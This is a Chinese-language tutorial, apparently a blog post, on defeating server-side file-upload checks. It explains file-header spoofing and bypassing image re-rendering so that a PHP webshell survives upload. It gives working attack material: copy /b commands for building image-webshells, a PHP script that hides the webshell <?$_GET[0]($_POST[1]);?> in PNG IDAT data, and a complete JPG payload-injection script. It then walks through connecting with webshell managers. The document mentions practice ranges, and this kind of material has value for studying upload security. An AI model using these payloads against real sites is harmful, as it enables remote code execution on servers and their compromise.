目录

​一、文件头检测绕过​

​1.1、原理:​

​1.2、工具:​

​1.3、常见的文件头:​

​1.4、利用过程:​

​二、二次渲染:​

​2.1、原理:​

​2.2、工具:​

​2.3、利用过程:​

​GIF绕过:​

​PNG绕过:​

​利用过程:​

​JPG绕过​

​利用过程:​


一、文件头检测绕过

1.1、原理:

当浏览器上传到服务器时,白名单对文件进行头检测,符合,则允许上传,反之不允许。

所有的文件都是以二进制的形式进行存储的,本质上没差别。但使用的方式不同,是因为我们理解他的方式不同。在每一个文件(包括图片,视频或其他的非ASCII文件)的开头(十六进制表示)都有一片区域来显示这个文件的实际用法,这就是文件头标志

Linux下可以用file命令直接查看文件的实际格式,也是利用文件头标志来进行文件类型判断的。

1.2、工具:

c32asm(反汇编软件)

这个软件在百度上比比皆是


1.3、常见的文件头:

(格式是16进制的格式)

JPEG (jpg)FF D8 FFPNG (png)89 50 4E 47GIF (gif)47 49 46 38XML (xml)3C 3F 78 6D 6CHTML (html)

68 74 6D 6C 3E

ZIP Archive (zip),50 4B 03 04RAR Archive (rar),52 61 72 21Adobe Acrobat (pdf),25 50 44 46 2D 31 2EMS Word/Excel (xls.or.doc)D0 CF 11 E0MS Access (mdb)53 74 61 6E 64 61 72 64 20 4A

1.4、利用过程:

第一步:先写一个php执行文件

【后端检测-绕过】文件头检测绕过、二次渲染绕过_上传



第二步:使用 c32asm打开这个文件

【后端检测-绕过】文件头检测绕过、二次渲染绕过_php_02

 

【后端检测-绕过】文件头检测绕过、二次渲染绕过_数据块_03



第三步:在16进制前面,加上自己需要加的文件头的16进制

这里以 png的16进制为例

【后端检测-绕过】文件头检测绕过、二次渲染绕过_php_04



第四步:上传到服务器

上传到只有文件头检测的靶场会发现上传成功

(可以结合其他绕过,再使用burpsuite抓包改为php格式解析)


第五步:获取webshell,即浏览器打开其所在地址

【后端检测-绕过】文件头检测绕过、二次渲染绕过_php_05



二、二次渲染:

2.1、原理:

在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新。

处理完成后,根据原有的图片对比,找到没被修改的部分,然后利用这一部分,生成一个新的图片并放到网站对应的标签进行显示。


2.2、工具:

burpsuite

010 Editor16进制编辑器

(网上好评90%以上的差得多都没什么问题)


2.3、利用过程:

GIF绕过:

第一步:图片马的制作(b指代的是二进制)

方法一:直接用Notepad++等记事本类型软件打开,在图片后写入执行语句


方法二:使用命令将2文件内容合并(可以将zip等其他类型文件伪装成图片等,copy/b 1.gif/b+1.rar/b 2.gif)

将准备的1.gif  和2.php文件,最后再和成为3.gif

在目录下按住shift,再右键打开Open in Windows Terminal(或者从命令提示符进入到这个目录中)

copy 1.gif/b + 2.php/a 3.gif

【后端检测-绕过】文件头检测绕过、二次渲染绕过_php_06


(上图是用010 Editor16进制编辑器) 



第二步:将文件上传,然后,再对比原文件

【后端检测-绕过】文件头检测绕过、二次渲染绕过_上传_07

(上传后) 


使用010 Editor16进制编辑器自带的比较文件

点击Tools----点击compare Files

【后端检测-绕过】文件头检测绕过、二次渲染绕过_数据块_08


 选着文件所在位置,再点击compare

【后端检测-绕过】文件头检测绕过、二次渲染绕过_web安全_09


然后选着这个match(匹配)的部分

即16进制蓝色段就是没被改变的

 

【后端检测-绕过】文件头检测绕过、二次渲染绕过_数据块_10


第三步:可以在没有改变的地方(蓝色部分)插入恶意代码

第四步(基操开始):获取webshell,即浏览器打开文件地址

第五步:软件连接(蚁剑,菜刀等)

【后端检测-绕过】文件头检测绕过、二次渲染绕过_上传_11


PNG绕过:

PNG数据组成:

关键数据块(critical chunk/标准)+辅助数据块(ancillary chunks/可选)

每个PNG由3个标准数据块(IHDR,IDAT, IEND),(一般包含3个以上数据块)


标准数据块:

IHDR(header chunk):

包含有PNG文件中存储的图像数据的基本信息,并作为第一个数据块出现在PNG数据流中,一个PNG数据流中只能有一个文件头数据块


IDAT(image data chunk):

存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。 IDAT存放着图像真正的数据信息,了解IDAT的结构,就可以生成PNG图像


IEND(image trailer chunk):

标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。

即00 00 00 00 49 45 4E 44 AE 42 60 82 



辅助数据块:

PLTE:

是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。


利用过程:

使用php脚本写入在IDTA中

第一步:创建IDAT_png.php脚本(生成一个绕过渲染的图片马):

运行脚本即可生成<?$_GET[0]($_POST[1]);?>

使用方式:get传参0=   post传参1=

​<?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33); $img = imagecreatetruecolor(32, 32); for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); } imagepng($img,'./1.png'); ?>​



第二步:使用php命令执行php脚本文件

执行命令(没报错就是成功了)

php IDAT_png.php 2.png

(要进入到文件夹里执行)

【后端检测-绕过】文件头检测绕过、二次渲染绕过_数据块_12


可能遇见的问题:

​【非命令】【环境变量配置】php : 无法将“.\php”项识别为 cmdlet、函数、脚本文件或可运行程序的名称。‘php‘ 不是内部或外部命令,也不是可运行的程序或批处理文件。javascript:void(0)​


然后可以看到生成了一个php脚本里面运行出来的1.png文件

【后端检测-绕过】文件头检测绕过、二次渲染绕过_上传_13



第三步:上传生成的1.png文件

(主要先懂原理)找一个能上传的

【后端检测-绕过】文件头检测绕过、二次渲染绕过_数据块_14


 上传成功了

【后端检测-绕过】文件头检测绕过、二次渲染绕过_上传_15



第四步:在浏览器上访问

能正常访问 

【后端检测-绕过】文件头检测绕过、二次渲染绕过_数据块_16



第五步:利用写入的恶意语句执行

用的php脚本生成的图片所写入的是<?$_GET[0]($_POST[1]);?>

(根据脚本写入情况来定,不确定可以用010 Editor等编辑器查看)


然后结合文件上传,进行GET和POST传参

get传参0=

post传参1=


(我们可以通过把上传的图片再保存到本地,用010 Editor查看)

【后端检测-绕过】文件头检测绕过、二次渲染绕过_上传_17

 

【后端检测-绕过】文件头检测绕过、二次渲染绕过_数据块_18

【后端检测-绕过】文件头检测绕过、二次渲染绕过_web安全_19



JPG绕过

(JPG是JPEG的简写,jpg是后缀名,jpeg既可作为后缀名,又能代表文件格式;JPG--JPEG文件格式)

(和png操作步骤基本一样,就是所用的脚本不一样)


利用过程:

第一步:在和JPG同一文件下创建jpg_payload.php脚本

(注:JPG更易损,所以容易失败,所以很大程度上要找一些不同的JPG文件,还有可能浏览器限制访问等问题)

​<?php /* The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled(). It is necessary that the size and quality of the initial image are the same as those of the processed image. 1) Upload an arbitrary image via secured files upload script 2) Save the processed image and launch: jpg_payload.php <jpg_name.jpg> In case of successful injection you will get a specially crafted image, which should be uploaded again. Since the most straightforward injection method is used, the following problems can occur: 1) After the second processing the injected data may become partially corrupted. 2) The jpg_payload.php script outputs "Something's wrong". If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image. Sergey Bobrov @Black2Fan. See also: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/ */ $miniPayload = "<?=phpinfo();?>"; if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); } if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); } set_error_handler("custom_error_handler"); for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE; if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); } while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong'); function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; } function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } } class DataInputStream { private $binData; private $order; private $size; public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); } public function seek() { return ($this->size - strlen($this->binData)); } public function skip($skip) { $this->binData = substr($this->binData, $skip); } public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); } public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; } public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>​




第二步:使用php脚本创建一个图片马

php jpg_payload.php a.jpg

(要进入到文件夹里执行)

【后端检测-绕过】文件头检测绕过、二次渲染绕过_上传_20


生成成功

【后端检测-绕过】文件头检测绕过、二次渲染绕过_上传_21



第三步:上传到服务器(浏览器)

【后端检测-绕过】文件头检测绕过、二次渲染绕过_上传_22


上传成功 

【后端检测-绕过】文件头检测绕过、二次渲染绕过_上传_23


访问图片地址的时候出现问题,要多换几张其他的图片试试

但是我用的火狐浏览器只要插入的是<?php phpinfo();?>语句都出现这样的问题

【后端检测-绕过】文件头检测绕过、二次渲染绕过_web安全_24



事后:将生成图片保存到本地,然后用010Editor查看

【后端检测-绕过】文件头检测绕过、二次渲染绕过_web安全_25

【后端检测-绕过】文件头检测绕过、二次渲染绕过_上传_26

【后端检测-绕过】文件头检测绕过、二次渲染绕过_web安全_27